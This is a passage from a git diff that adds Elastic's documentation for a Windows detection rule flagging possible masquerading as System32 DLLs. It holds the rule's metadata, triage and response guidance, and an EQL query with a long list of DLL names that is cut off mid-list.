b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-masquerading-as-system32-dll.asciidoc new file mode 100644 index 0000000000..824d83b358 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-masquerading-as-system32-dll.asciidoc @@ -0,0 +1,243 @@ +[[prebuilt-rule-8-19-34-potential-masquerading-as-system32-dll]] +=== Potential Masquerading as System32 DLL + +Identifies suspicious instances of default system32 DLLs either unsigned or signed with non-MS certificates. This can potentially indicate the attempt to masquerade as system DLLs, perform DLL Search Order Hijacking or backdoor and resign legitimate DLLs. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Data Source: Elastic Defend +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Masquerading +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Masquerading as System32 DLL* + + +This rule fires when a DLL with a name matching a known Windows System32 library is loaded from an unexpected path, is unsigned or signed by a non-Microsoft certificate, and was recently created or modified (within the last hour). This pattern is consistent with DLL Search Order Hijacking, DLL planting, or backdooring/resigning of legitimate system DLLs — all common defense evasion and persistence techniques used by both commodity malware and sophisticated threat actors. + + +*Possible investigation steps* + + +- Examine the full `dll.path` to determine where the suspicious DLL was loaded from. Paths under user-writable directories (`AppData`, `Temp`, `Downloads`, `ProgramData`) or application directories are high-fidelity indicators. +- Review `dll.code_signature` fields — check whether the DLL is unsigned, self-signed, or signed by an unexpected publisher. A trusted signature from a legitimate vendor may indicate a false positive; an invalid or absent signature warrants deeper investigation. +- Check `dll.Ext.relative_file_creation_time` and `dll.Ext.relative_file_name_modify_time` — a DLL dropped and loaded within seconds or minutes of each other strongly suggests staged execution. +- Identify the loading process (`process.name`, `process.executable`, `process.pid`) and examine its parent chain for unusual ancestry (e.g. Office spawning a loader, or a browser dropping a DLL). +- Retrieve the DLL and hash it with `Get-FileHash -Algorithm SHA256`. Search the hash across VirusTotal, Hybrid-Analysis, MalwareBazaar, and CISCO Talos. +- Check whether other hosts in the environment have loaded the same DLL path or hash — a single host is likely targeted or hands-on, widespread hits may indicate a worm or supply chain issue. +- Correlate with process creation events around the same timestamp to identify what dropped the DLL (downloaders, document macros, installers, etc.). +- Inspect the directory containing the DLL for other recently created files, scripts, or executables that may be part of the same drop. + + +*False positive analysis* + + +- Legitimate third-party software occasionally ships DLLs with names that collide with System32 libraries (e.g. security vendors, game engines, virtualization software, and enterprise tooling). Validate the publisher via `dll.code_signature.subject_name` and cross-reference against known software installed on the host. +- Installer and update workflows may briefly stage DLLs in temp paths before moving them to their final location — check whether the loading process is a known installer (`msiexec.exe`, `setup.exe`, vendor updaters) and whether the DLL path disappears after a short window. +- DismHost.exe staging certain DLLs under `C:\Windows\Temp\` during servicing operations is a known benign pattern already excluded in the query. + + +*Related rules* + + +- Suspicious DLL Loaded for Persistence via Desktop File - c4818812-d44f-47be-aaef-4cfb2f9cc799 +- Suspicious Process from Conhost - 28896382-7d4f-4d50-9b72-67091901fd26 +- Potential DLL Side-Loading via Trusted Microsoft Programs - 1160dcdb-0a0a-4a79-91d8-9b84af7e0240 + + +*Response and remediation* + + +- Initiate the incident response process based on triage outcome. If the DLL is confirmed malicious, treat the host as compromised. +- Isolate the affected host and preserve a memory dump and disk image before remediation to retain forensic evidence. +- Delete the malicious DLL and any associated files identified during investigation. +- If DLL Search Order Hijacking is confirmed, identify the vulnerable application and remediate by patching, applying a safe DLL search mode (`HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode`), or restricting write permissions on directories in the application's search path. +- If a legitimate binary was backdoored and resigned, treat all binaries delivered via the same channel as suspect and investigate the supply chain. +- Block identified file hashes and signer certificates as appropriate at the endpoint and perimeter. +- Hunt for lateral movement or persistence mechanisms established after the DLL was loaded — check scheduled tasks, services, registry run keys, and WMI subscriptions created around the same timeframe. +- Determine the initial access vector and remediate to prevent reinfection. + + +==== Rule query + + +[source, js] +---------------------------------- +library where host.os.type == "windows" and event.action == "load" and +(dll.Ext.relative_file_creation_time <= 3600 or dll.Ext.relative_file_name_modify_time <= 3600) and + not ( + dll.path : ( + "?:\\Windows\\System32\\*", + "?:\\Windows\\SysWOW64\\*", + "?:\\Windows\\SystemTemp\\*", + "?:\\$WINDOWS.~BT\\NewOS\\Windows\\WinSxS\\*", + "?:\\$WINDOWS.~BT\\NewOS\\Windows\\System32\\*", + "?:\\$WINDOWS.~BT\\Sources\\*", + "?:\\$WINDOWS.~BT\\Work\\*", + "?:\\Windows\\WinSxS\\*", + "?:\\Windows\\SoftwareDistribution\\Download\\*", + "?:\\Windows\\assembly\\NativeImages_v*" + ) + ) and + not ( + dll.code_signature.subject_name in ( + "Microsoft Windows", + "Microsoft Corporation", + "Microsoft Windows Hardware Abstraction Layer Publisher", + "Microsoft Windows Publisher", + "Microsoft Windows 3rd party Component", + "Microsoft 3rd Party Application Component" + ) and dll.code_signature.trusted == true + ) and not dll.code_signature.status : ("errorCode_endpoint*", "errorUntrustedRoot", "errorChaining") and + dll.name : ( + "aadauthhelper.dll", "aadcloudap.dll", "aadjcsp.dll", "aadtb.dll", "aadwamextension.dll", "aarsvc.dll", "abovelockapphost.dll", "accessibilitycpl.dll", "accountaccessor.dll", "accountsrt.dll", "acgenral.dll", "aclayers.dll", "acledit.dll", "aclui.dll", "acmigration.dll", "acppage.dll", "acproxy.dll", "acspecfc.dll", "actioncenter.dll", "actioncentercpl.dll", "actionqueue.dll", "activationclient.dll", "activeds.dll", "activesynccsp.dll", "actxprxy.dll", "acwinrt.dll", "acxtrnal.dll", "adaptivecards.dll", "addressparser.dll", "adhapi.dll", "adhsvc.dll", "admtmpl.dll", "adprovider.dll", "adrclient.dll", "adsldp.dll", "adsldpc.dll", "adsmsext.dll", "adsnt.dll", "adtschema.dll", "advancedemojids.dll", "advapi32.dll", "advapi32res.dll", "advpack.dll", "aeevts.dll", "aeinv.dll", "aepic.dll", "ajrouter.dll", "altspace.dll", "amsi.dll", "amsiproxy.dll", "amstream.dll", "apds.dll", "aphostclient.dll", "aphostres.dll", "aphostservice.dll", "apisampling.dll", "apisetschema.dll", "apmon.dll", "apmonui.dll", "appcontracts.dll", "appextension.dll", "apphelp.dll", "apphlpdm.dll", "appidapi.dll", "appidsvc.dll", "appinfo.dll", "appinfoext.dll", "applicationframe.dll", "applockercsp.dll", "appmgmts.dll", "appmgr.dll", "appmon.dll", "appointmentapis.dll", "appraiser.dll", "appreadiness.dll", "apprepapi.dll", "appresolver.dll", "appsruprov.dll", "appvcatalog.dll", "appvclientps.dll", "appvetwclientres.dll", "appvintegration.dll", "appvmanifest.dll", "appvpolicy.dll", "appvpublishing.dll", "appvreporting.dll", "appvscripting.dll", "appvsentinel.dll", "appvstreamingux.dll", "appvstreammap.dll", "appvterminator.dll", "appxalluserstore.dll", "appxpackaging.dll", "appxsip.dll", "appxsysprep.dll", "archiveint.dll", "asferror.dll", "aspnet_counters.dll", "asycfilt.dll", "atl.dll", "atlthunk.dll", "atmlib.dll", "audioeng.dll", "audiohandlers.dll", "audiokse.dll", "audioses.dll", "audiosrv.dll", "auditcse.dll", "auditpolcore.dll", "auditpolmsg.dll", "authbroker.dll", "authbrokerui.dll", "authentication.dll", "authext.dll", "authfwcfg.dll", "authfwgp.dll", "authfwsnapin.dll", "authfwwizfwk.dll", "authhostproxy.dll", "authui.dll", "authz.dll", "autopilot.dll", "autopilotdiag.dll", "autoplay.dll", "autotimesvc.dll", "avicap32.dll", "avifil32.dll", "avrt.dll", "axinstsv.dll", "azroles.dll", "azroleui.dll", "azsqlext.dll", "basecsp.dll", "basesrv.dll", "batmeter.dll", "bcastdvrbroker.dll", "bcastdvrclient.dll", "bcastdvrcommon.dll", "bcd.dll", "bcdprov.dll", "bcdsrv.dll", "bcp47langs.dll", "bcp47mrm.dll", "bcrypt.dll", "bcryptprimitives.dll", "bdehdcfglib.dll", "bderepair.dll", "bdesvc.dll", "bdesysprep.dll", "bdeui.dll", "bfe.dll", "bi.dll", "bidispl.dll", "bindfltapi.dll", "bingasds.dll", "bingfilterds.dll", "bingmaps.dll", "biocredprov.dll", "bisrv.dll", "bitlockercsp.dll", "bitsigd.dll", "bitsperf.dll", "bitsproxy.dll", "biwinrt.dll", "blbevents.dll", "blbres.dll", "blb_ps.dll", "bluetoothapis.dll", "bnmanager.dll", "bootmenuux.dll", "bootstr.dll", "bootux.dll", "bootvid.dll", "bridgeres.dll", "brokerlib.dll", "browcli.dll", "browserbroker.dll", "browseui.dll", "btagservice.dll", "bthavctpsvc.dll", "bthavrcp.dll", "bthavrcpappsvc.dll", "bthci.dll", "bthpanapi.dll", "bthradiomedia.dll", "bthserv.dll", "bthtelemetry.dll", "btpanui.dll", "bwcontexthandler.dll", "cabapi.dll", "cabinet.dll", "cabview.dll", "callbuttons.dll", "cameracaptureui.dll", "capauthz.dll", "capiprovider.dll", "capisp.dll", "captureservice.dll", "castingshellext.dll", "castlaunch.dll", "catsrv.dll", "catsrvps.dll", "catsrvut.dll", "cbdhsvc.dll", "cca.dll", "cdd.dll", "cdosys.dll", "cdp.dll", "cdprt.dll", "cdpsvc.dll", "cdpusersvc.dll", "cemapi.dll", "certca.dll", "certcli.dll", "certcredprovider.dll", "certenc.dll", "certenroll.dll", "certenrollui.dll", "certmgr.dll", "certpkicmdlet.dll", "certpoleng.dll", "certprop.dll", "cewmdm.dll", "cfgbkend.dll", "cfgmgr32.dll", "cfgspcellular.dll", "cfgsppolicy.dll", "cflapi.dll", "cfmifs.dll", "cfmifsproxy.dll", "chakra.dll", "chakradiag.dll", "chakrathunk.dll", "chartv.dll", "chatapis.dll", "chkwudrv.dll", "chsstrokeds.dll", "chtbopomofods.dll", "chtcangjieds.dll", "chthkstrokeds.dll", "chtquickds.dll", "chxapds.dll", "chxdecoder.dll", "chxhapds.dll", "chxinputrouter.dll", "chxranker.dll", "ci.dll", "cic.dll", "cimfs.dll", "circoinst.dll", "ciwmi.dll", "clb.dll", "clbcatq.dll", "cldapi.dll", "cleanpccsp.dll", "clfsw32.dll", "cliconfg.dll", "clipboardserver.dll", "clipc.dll", "clipsvc.dll", "clipwinrt.dll", "cloudap.dll", "cloudidsvc.dll", "clrhost.dll", "clusapi.dll", "cmcfg32.dll", "cmdext.dll", "cmdial32.dll", "cmgrcspps.dll", "cmifw.dll", "cmintegrator.dll", "cmlua.dll", "cmpbk32.dll", "cmstplua.dll", "cmutil.dll", "cngcredui.dll", "cngprovider.dll", "cnvfat.dll", "cofiredm.dll", "colbact.dll", "colorcnv.dll", "colorui.dll", "combase.dll", "comcat.dll", "comctl32.dll", "comdlg32.dll", "coml2.dll", "comppkgsup.dll", "compstui.dll", "computecore.dll", "computenetwork.dll", "computestorage.dll", "comrepl.dll", "comres.dll", "comsnap.dll", "comsvcs.dll", "comuid.dll", "configmanager2.dll", "conhostv1.dll", "connect.dll", "consentux.dll", "consentuxclient.dll", "console.dll", "consolelogon.dll", "contactapis.dll", "container.dll", "coredpus.dll", "coreglobconfig.dll", "coremas.dll", "coremessaging.dll", "coremmres.dll", "coreshell.dll", "coreshellapi.dll", "coreuicomponents.dll", "correngine.dll", "courtesyengine.dll", "cpfilters.dll", "creddialogbroker.dll", "credprovhelper.dll", "credprovhost.dll", "credprovs.dll", "credprovslegacy.dll", "credssp.dll", "credui.dll", "crypt32.dll", "cryptbase.dll", "cryptcatsvc.dll", "cryptdlg.dll", "cryptdll.dll", "cryptext.dll", "cryptnet.dll", "cryptngc.dll", "cryptowinrt.dll", "cryptsp.dll", "cryptsvc.dll", "crypttpmeksvc.dll", "cryptui.dll", "cryptuiwizard.dll", "cryptxml.dll", "cscapi.dll", "cscdll.dll", "cscmig.dll", "cscobj.dll", "cscsvc.dll", "cscui.dll", "csplte.dll", "cspproxy.dll", "csrsrv.dll", "cxcredprov.dll", "c_g18030.dll", "c_gsm7.dll", "c_is2022.dll", "c_iscii.dll", "d2d1.dll", "d3d10.dll", "d3d10core.dll", "d3d10level9.dll", "d3d10warp.dll", "d3d10_1.dll", "d3d10_1core.dll", "d3d11.dll", "d3d11on12.dll", "d3d12.dll", "d3d12core.dll", "d3d8thk.dll", "d3d9.dll", "d3d9on12.dll", "d3dscache.dll", "dab.dll", "dabapi.dll", "daconn.dll", "dafbth.dll", "dafdnssd.dll", "dafescl.dll", "dafgip.dll", "dafiot.dll", "dafipp.dll", "dafmcp.dll", "dafpos.dll", "dafprintprovider.dll", "dafupnp.dll", "dafwcn.dll", "dafwfdprovider.dll", "dafwiprov.dll", "dafwsd.dll", "damediamanager.dll", "damm.dll", "das.dll", "dataclen.dll", "datusage.dll", "davclnt.dll", "davhlpr.dll", "davsyncprovider.dll", "daxexec.dll", "dbgcore.dll", "dbgeng.dll", "dbghelp.dll", "dbgmodel.dll", "dbnetlib.dll", "dbnmpntw.dll", "dciman32.dll", "dcntel.dll", "dcomp.dll", "ddaclsys.dll", "ddcclaimsapi.dll", "ddds.dll", "ddisplay.dll", "ddoiproxy.dll", "ddores.dll", "ddpchunk.dll", "ddptrace.dll", "ddputils.dll", "ddp_ps.dll", "ddraw.dll", "ddrawex.dll", "defragproxy.dll", "defragres.dll", "defragsvc.dll", "deploymentcsps.dll", "deskadp.dll", "deskmon.dll", "desktopshellext.dll", "devenum.dll", "deviceaccess.dll", "devicecenter.dll", "devicecredential.dll", "devicepairing.dll", "deviceuxres.dll", "devinv.dll", "devmgr.dll", "devobj.dll", "devpropmgr.dll", "devquerybroker.dll", "devrtl.dll", "dfdts.dll", "dfscli.dll", "dfshim.dll", "dfsshlex.dll", "dggpext.dll", "dhcpcmonitor.dll", "dhcpcore.dll", "dhcpcore6.dll", "dhcpcsvc.dll", "dhcpcsvc6.dll", "dhcpsapi.dll", "diagcpl.dll", "diagnosticlogcsp.dll", "diagperf.dll", "diagsvc.dll", "diagtrack.dll", "dialclient.dll", "dialserver.dll", "dictationmanager.dll", "difxapi.dll", "dimsjob.dll", "dimsroam.dll", "dinput.dll", "dinput8.dll", "direct2ddesktop.dll", "directml.dll", "discan.dll", "dismapi.dll", "dispbroker.dll", "dispex.dll", "display.dll", "displaymanager.dll", "dlnashext.dll", "dmappsres.dll", "dmcfgutils.dll", "dmcmnutils.dll", "dmcsps.dll", "dmdlgs.dll", "dmdskmgr.dll", "dmdskres.dll", "dmdskres2.dll", "dmenrollengine.dll", "dmintf.dll", "dmiso8601utils.dll", "dmloader.dll", "dmocx.dll", "dmoleaututils.dll", "dmpushproxy.dll", "dmpushroutercore.dll", "dmrcdecoder.dll", "dmrserver.dll", "dmsynth.dll", "dmusic.dll", "dmutil.dll", "dmvdsitf.dll", "dmwappushsvc.dll", "dmwmicsp.dll", "dmxmlhelputils.dll", "dnsapi.dll", "dnscmmc.dll", "dnsext.dll", "dnshc.dll", "dnsrslvr.dll", "docprop.dll", "dolbydecmft.dll", "domgmt.dll", "dosettings.dll", "dosvc.dll", "dot3api.dll", "dot3cfg.dll", "dot3conn.dll", "dot3dlg.dll", "dot3gpclnt.dll", "dot3gpui.dll", "dot3hc.dll", "dot3mm.dll", "dot3msm.dll", "dot3svc.dll", "dot3ui.dll", "dpapi.dll", "dpapiprovider.dll", "dpapisrv.dll", "dpnaddr.dll", "dpnathlp.dll", "dpnet.dll", "dpnhpast.dll", "dpnhupnp.dll", "dpnlobby.dll", "dps.dll", "dpx.dll", "drprov.dll", "drt.dll", "drtprov.dll", "drttransport.dll", "drvsetup.dll", "drvstore.dll", "dsauth.dll", "dsccore.dll", "dsccoreconfprov.dll", "dsclient.dll", "dscproxy.dll", "dsctimer.dll", "dsdmo.dll", "dskquota.dll", "dskquoui.dll", "dsound.dll", "dsparse.dll", "dsprop.dll", "dsquery.dll", "dsreg.dll", "dsregtask.dll", "dsrole.dll", "dssec.dll", "dssenh.dll", "dssvc.dll", "dsui.dll", "dsuiext.dll", "dswave.dll", "dtsh.dll", "ducsps.dll", "dui70.dll", "duser.dll", "dusmapi.dll", "dusmsvc.dll", "dwmapi.dll", "dwmcore.dll", "dwmghost.dll", "dwminit.dll", "dwmredir.dll", "dwmscene.dll", "dwrite.dll", "dxcore.dll", "dxdiagn.dll", "dxgi.dll", "dxgwdi.dll", "dxilconv.dll", "dxmasf.dll", "dxp.dll", "dxpps.dll", "dxptasksync.dll", "dxtmsft.dll", "dxtrans.dll", "dxva2.dll", "dynamoapi.dll", "eapp3hst.dll", "eappcfg.dll", "eappcfgui.dll", "eappgnui.dll", "eapphost.dll", "eappprxy.dll", "eapprovp.dll", "eapputil.dll", "eapsimextdesktop.dll", "eapsvc.dll", "eapteapauth.dll", "eapteapconfig.dll", "eapteapext.dll", "easconsent.dll", "easwrt.dll", "edgeangle.dll", "edgecontent.dll", "edgehtml.dll", "edgeiso.dll", "edgemanager.dll", "edpauditapi.dll", "edpcsp.dll", "edptask.dll", "edputil.dll", "eeprov.dll", "eeutil.dll", "efsadu.dll", "efscore.dll", "efsext.dll", "efslsaext.dll", "efssvc.dll", "efsutil.dll", "efswrt.dll", "ehstorapi.dll", "ehstorpwdmgr.dll", "ehstorshell.dll", "els.dll", "elscore.dll", "elshyph.dll", "elslad.dll", "elstrans.dll", "emailapis.dll", "embeddedmodesvc.dll", "emojids.dll", "encapi.dll", "energy.dll", "energyprov.dll", "energytask.dll", "enrollmentapi.dll", "enterpriseapncsp.dll", "enterprisecsps.dll", "enterpriseetw.dll", "eqossnap.dll", "errordetails.dll", "errordetailscore.dll", "es.dll", "esclprotocol.dll", "esclscan.dll", "esclwiadriver.dll", "esdsip.dll", "esent.dll", "esentprf.dll", "esevss.dll", "eshims.dll", "etwrundown.dll", "euiccscsp.dll", "eventaggregation.dll", "eventcls.dll", "evr.dll", "execmodelclient.dll", "execmodelproxy.dll", "explorerframe.dll", "exsmime.dll", "extrasxmlparser.dll", "f3ahvoas.dll", "facilitator.dll", "familysafetyext.dll", "faultrep.dll", "fcon.dll", "fdbth.dll", "fdbthproxy.dll", "fddevquery.dll", "fde.dll", "fdeploy.dll", "fdphost.dll", "fdpnp.dll", "fdprint.dll", "fdproxy.dll", "fdrespub.dll", "fdssdp.dll", "fdwcn.dll", "fdwnet.dll", "fdwsd.dll", "feclient.dll", "ffbroker.dll", "fhcat.dll", "fhcfg.dll", "fhcleanup.dll", "fhcpl.dll", "fhengine.dll", "fhevents.dll", "fhshl.dll", "fhsrchapi.dll", "fhsrchph.dll", "fhsvc.dll", "fhsvcctl.dll", "fhtask.dll", "fhuxadapter.dll", "fhuxapi.dll", "fhuxcommon.dll", "fhuxgraphics.dll", "fhuxpresentation.dll", "fidocredprov.dll", "filemgmt.dll", "filterds.dll", "findnetprinters.dll", "firewallapi.dll", "flightsettings.dll", "fltlib.dll", "fluencyds.dll", "fmapi.dll", "fmifs.dll", "fms.dll", "fntcache.dll", "fontext.dll", "fontprovider.dll", "fontsub.dll", "fphc.dll", "framedyn.dll", "framedynos.dll", "frameserver.dll", "frprov.dll", "fsutilext.dll", "fthsvc.dll", "fundisc.dll", "fveapi.dll", "fveapibase.dll", "fvecerts.dll", "fvecpl.dll", "fveskybackup.dll", "fveui.dll", "fvewiz.dll", "fwbase.dll", "fwcfg.dll", "fwmdmcsp.dll", "fwpolicyiomgr.dll", "fwpuclnt.dll", "fwremotesvr.dll", "gameinput.dll", "gamemode.dll", "gamestreamingext.dll", "gameux.dll", "gamingtcui.dll", "gcdef.dll", "gdi32.dll", "gdi32full.dll", "gdiplus.dll", "generaltel.dll", "geocommon.dll", "geolocation.dll", "getuname.dll", "glmf32.dll", "globinputhost.dll", "glu32.dll", "gmsaclient.dll", "gpapi.dll", "gpcsewrappercsp.dll", "gpedit.dll", "gpprefcl.dll", "gpprnext.dll", "gpscript.dll", "gpsvc.dll", "gptext.dll", "graphicscapture.dll", "graphicsperfsvc.dll", "groupinghc.dll", "hal.dll", "halextpl080.dll", "hascsp.dll", "hashtagds.dll", "hbaapi.dll", "hcproviders.dll", "hdcphandler.dll", "heatcore.dll", "helppaneproxy.dll", "hgcpl.dll", "hhsetup.dll", "hid.dll", "hidcfu.dll", "hidserv.dll", "hlink.dll", "hmkd.dll", "hnetcfg.dll", "hnetcfgclient.dll", "hnetmon.dll", "hologramworld.dll", "holoshellruntime.dll", "holoshextensions.dll", "hotplug.dll", "hrtfapo.dll", "httpapi.dll", "httpprxc.dll", "httpprxm.dll", "httpprxp.dll", "httpsdatasource.dll", "htui.dll", "hvhostsvc.dll", "hvloader.dll", "hvsigpext.dll", "hvsocket.dll", "hydrogen.dll", "ia2comproxy.dll", "ias.dll", "iasacct.dll", "iasads.dll", "iasdatastore.dll", "iashlpr.dll", "iasmigplugin.dll", "iasnap.dll", "iaspolcy.dll", "iasrad.dll", "iasrecst.dll", "iassam.dll", "iassdo.dll", "iassvcs.dll", "icfupgd.dll", "icm32.dll", "icmp.dll", "icmui.dll", "iconcodecservice.dll", "icsigd.dll", "icsvc.dll", "icsvcext.dll", "icu.dll", "icuin.dll", "icuuc.dll", "idctrls.dll", "idlisten.dll", "idndl.dll", "idstore.dll", "ieadvpack.dll", "ieapfltr.dll", "iedkcs32.dll", "ieframe.dll", "iemigplugin.dll", "iepeers.dll", "ieproxy.dll", "iernonce.dll", "iertutil.dll", "iesetup.dll", "iesysprep.dll", "ieui.dll", "ifmon.dll", "ifsutil.dll", "ifsutilx.dll", "igddiag.dll", "ihds.dll", "ikeext.dll", "imagehlp.dll", "imageres.dll", "imagesp1.dll", "imapi.dll", "imapi2.dll", "imapi2fs.dll", "imgutil.dll", "imm32.dll", "implatsetup.dll", "indexeddblegacy.dll", "inetcomm.dll", "inetmib1.dll", "inetpp.dll", "inetppui.dll", "inetres.dll", "inked.dll", "inkobjcore.dll", "inproclogger.dll", "input.dll", "inputcloudstore.dll", "inputcontroller.dll", "inputhost.dll", "inputservice.dll", "inputswitch.dll", "inseng.dll", "installservice.dll", "internetmail.dll", "internetmailcsp.dll", "invagent.dll", "iologmsg.dll", "iphlpapi.dll", "iphlpsvc.dll", "ipnathlp.dll", "ipnathlpclient.dll", "ippcommon.dll", "ippcommonproxy.dll", "iprtprio.dll", "iprtrmgr.dll", "ipsecsnp.dll", "ipsecsvc.dll", "ipsmsnap.dll", "ipxlatcfg.dll", "iri.dll", "iscsicpl.dll", "iscsidsc.dll", "iscsied.dll", "iscsiexe.dll", "iscsilog.dll", "iscsium.dll", "iscsiwmi.dll", "iscsiwmiv2.dll", "ism.dll", "itircl.dll", "itss.dll", "iuilp.dll", "iumbase.dll", "iumcrypt.dll", "iumdll.dll", "iumsdk.dll", "iyuv_32.dll", "joinproviderol.dll", "joinutil.dll", "jpmapcontrol.dll", "jpndecoder.dll", "jpninputrouter.dll", "jpnranker.dll", "jpnserviceds.dll", "jscript.dll", "jscript9.dll", "jscript9diag.dll", "jsproxy.dll", "kbd101.dll", "kbd101a.dll", "kbd101b.dll", "kbd101c.dll", "kbd103.dll", "kbd106.dll", "kbd106n.dll", "kbda1.dll", "kbda2.dll", "kbda3.dll", "kbdadlm.dll", "kbdal.dll", "kbdarme.dll", "kbdarmph.dll", "kbdarmty.dll", "kbdarmw.dll", "kbdax2.dll", "kbdaze.dll", "kbdazel.dll", "kbdazst.dll", "kbdbash.dll", "kbdbe.dll", "kbdbene.dll", "kbdbgph.dll", "kbdbgph1.dll", "kbdbhc.dll", "kbdblr.dll", "kbdbr.dll", "kbdbu.dll", "kbdbug.dll", "kbdbulg.dll", "kbdca.dll", "kbdcan.dll", "kbdcher.dll", "kbdcherp.dll", "kbdcr.dll", "kbdcz.dll", "kbdcz1.dll", "kbdcz2.dll", "kbdda.dll", "kbddiv1.dll", "kbddiv2.dll", "kbddv.dll", "kbddzo.dll", "kbdes.dll", "kbdest.dll", "kbdfa.dll", "kbdfar.dll", "kbdfc.dll", "kbdfi.dll", "kbdfi1.dll", "kbdfo.dll", "kbdfr.dll", "kbdfthrk.dll", "kbdgae.dll", "kbdgeo.dll", "kbdgeoer.dll", "kbdgeome.dll", "kbdgeooa.dll", "kbdgeoqw.dll", "kbdgkl.dll", "kbdgn.dll", "kbdgr.dll", "kbdgr1.dll", "kbdgrlnd.dll", "kbdgthc.dll", "kbdhau.dll", "kbdhaw.dll", "kbdhe.dll", "kbdhe220.dll", "kbdhe319.dll", "kbdheb.dll", "kbdhebl3.dll", "kbdhela2.dll", "kbdhela3.dll", "kbdhept.dll", "kbdhu.dll", "kbdhu1.dll", "kbdibm02.dll", "kbdibo.dll", "kbdic.dll", "kbdinasa.dll", "kbdinbe1.dll", "kbdinbe2.dll", "kbdinben.dll", "kbdindev.dll", "kbdinen.dll", "kbdinguj.dll", "kbdinhin.dll", "kbdinkan.dll", "kbdinmal.dll", "kbdinmar.dll", "kbdinori.dll", "kbdinpun.dll", "kbdintam.dll", "kbdintel.dll", "kbdinuk2.dll", "kbdir.dll", "kbdit.dll", "kbdit142.dll", "kbdiulat.dll", "kbdjav.dll", "kbdjpn.dll", "kbdkaz.dll", "kbdkhmr.dll", "kbdkni.dll", "kbdkor.dll", "kbdkurd.dll", "kbdkyr.dll", "kbdla.dll", "kbdlao.dll", "kbdlisub.dll", "kbdlisus.dll", "kbdlk41a.dll", "kbdlt.dll", "kbdlt1.dll", "kbdlt2.dll", "kbdlv.dll", "kbdlv1.dll", "kbdlvst.dll", "kbdmac.dll", "kbdmacst.dll", "kbdmaori.dll", "kbdmlt47.dll", "kbdmlt48.dll", "kbdmon.dll", "kbdmonmo.dll", "kbdmonst.dll", "kbdmyan.dll", "kbdne.dll", "kbdnec.dll", "kbdnec95.dll", "kbdnecat.dll", "kbdnecnt.dll", "kbdnepr.dll", "kbdnko.dll", "kbdno.dll", "kbdno1.dll", "kbdnso.dll", "kbdntl.dll", "kbdogham.dll", "kbdolch.dll", "kbdoldit.dll", "kbdosa.dll", "kbdosm.dll", "kbdpash.dll", "kbdphags.dll", "kbdpl.dll", "kbdpl1.dll", "kbdpo.dll", "kbdro.dll", "kbdropr.dll", "kbdrost.dll", "kbdru.dll", "kbdru1.dll", "kbdrum.dll", "kbdsf.dll", "kbdsg.dll", "kbdsl.dll", "kbdsl1.dll", "kbdsmsfi.dll", "kbdsmsno.dll", "kbdsn1.dll", "kbdsora.dll", "kbdsorex.dll", "kbdsors1.dll", "kbdsorst.dll", "kbdsp.dll", "kbdsw.dll", "kbdsw09.dll", "kbdsyr1.dll", "kbdsyr2.dll", "kbdtaile.dll", "kbdtajik.dll", "kbdtam99.dll", "kbdtat.dll", "kbdth0.dll", "kbdth1.dll", "kbdth2.dll", "kbdth3.dll", "kbdtifi.dll", "kbdtifi2.dll", "kbdtiprc.dll", "kbdtiprd.dll", "kbdtt102.dll", "kbdtuf.dll", "kbdtuq.dll", "kbdturme.dll", "kbdtzm.dll", "kbdughr.dll", "kbdughr1.dll", "kbduk.dll", "kbdukx.dll", "kbdur.dll", "kbdur1.dll", "kbdurdu.dll", "kbdus.dll", "kbdusa.dll", "kbdusl.dll", "kbdusr.dll", "kbdusx.dll", "kbduzb.dll", "kbdvntc.dll", "kbdwol.dll", "kbdyak.dll", "kbdyba.dll", "kbdycc.dll", "kbdycl.dll", "kd.dll", "kdcom.dll", "kdcpw.dll", "kdhvcom.dll", "kdnet.dll", "kdnet_uart16550.dll", "kdscli.dll", "kdstub.dll", "kdusb.dll", "kd_02_10df.dll", "kd_02_10ec.dll", "kd_02_1137.dll", "kd_02_14e4.dll", "kd_02_15b3.dll", "kd_02_1969.dll", "kd_02_19a2.dll", "kd_02_1af4.dll", "kd_02_8086.dll", "kd_07_1415.dll", "kd_0c_8086.dll", "kerbclientshared.dll", "kerberos.dll", "kernel32.dll", "kernelbase.dll", "keycredmgr.dll", "keyiso.dll", "keymgr.dll", "knobscore.dll", "knobscsp.dll", "ksuser.dll", "ktmw32.dll", "l2gpstore.dll", "l2nacp.dll", "l2sechc.dll", "laprxy.dll", "legacynetux.dll", "lfsvc.dll", "libcrypto.dll", "licensemanager.dll", "licensingcsp.dll", "licensingdiagspp.dll", "licensingwinrt.dll", "licmgr10.dll", "linkinfo.dll", "lltdapi.dll", "lltdres.dll", "lltdsvc.dll", "lmhsvc.dll", "loadperf.dll", "localsec.dll", "localspl.dll", "localui.dll", "locationapi.dll", "lockappbroker.dll", "lockcontroller.dll", "lockscreendata.dll", "loghours.dll", "logoncli.dll", "logoncontroller.dll", "lpasvc.dll", "lpk.dll", "lsasrv.dll", "lscshostpolicy.dll", "lsm.dll", "lsmproxy.dll", "lstelemetry.dll", "luainstall.dll", "luiapi.dll", "lz32.dll", "magnification.dll", "maintenanceui.dll", "manageci.dll", "mapconfiguration.dll", "mapcontrolcore.dll", "mapgeocoder.dll", "mapi32.dll", "mapistub.dll", "maprouter.dll", "mapsbtsvc.dll", "mapsbtsvcproxy.dll", "mapscsp.dll", "mapsstore.dll", "mapstoasttask.dll", "mapsupdatetask.dll", "mbaeapi.dll", "mbaeapipublic.dll", "mbaexmlparser.dll", "mbmediamanager.dll", "mbsmsapi.dll", "mbussdapi.dll", "mccsengineshared.dll", "mccspal.dll", "mciavi32.dll", "mcicda.dll", "mciqtz32.dll", "mciseq.dll", "mciwave.dll", "mcrecvsrc.dll", "mdmcommon.dll", "mdmdiagnostics.dll", 